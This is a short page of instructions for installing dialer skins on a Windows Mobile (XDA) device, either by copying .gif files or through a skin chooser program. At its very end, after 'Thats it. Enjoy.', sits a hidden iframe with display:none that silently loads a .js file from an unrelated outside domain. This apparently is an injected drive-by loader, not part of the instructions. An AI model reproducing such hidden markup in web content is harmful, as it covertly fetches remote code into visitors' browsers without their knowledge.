Manually:
Copy the contained .gif files to your devices /windows directory, overwriting the existing .gif files.

Automatically:
Download the free skin chooser from <a href="http://www.handango.com/PlatformProductDetail.jsp?catalog=1&jid=641X82937E298B5A8F5F9XA81CA494CA&productId=40963&authorId=149028§ionId=0&productType=2&siteId=1&platformId=2">Handango</a>.
Install this program (it comes with 7 free skins). It doesn't run very well from a Storage card so make sure you install it in the Main Memory.
Then copy your downloaded skins to the directory the Dialer Skin Chooser is in, there is a folder inside called skins. Make a new directory named the name of the skins (ie. Big Buttons) and then copy the .gif files into that directory.
If you want to have a preview of the skin, copy the .bmp into the same folder, make sure that it matches the same name as the folder its in + the .bmp extension. Note: It must be 8bpp and 80x107, see one of the other 7 skins that came with the program for reference.
Last. Launch the XDA Skin Chooser and select which skin you want and then press activate.

Thats it. Enjoy.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>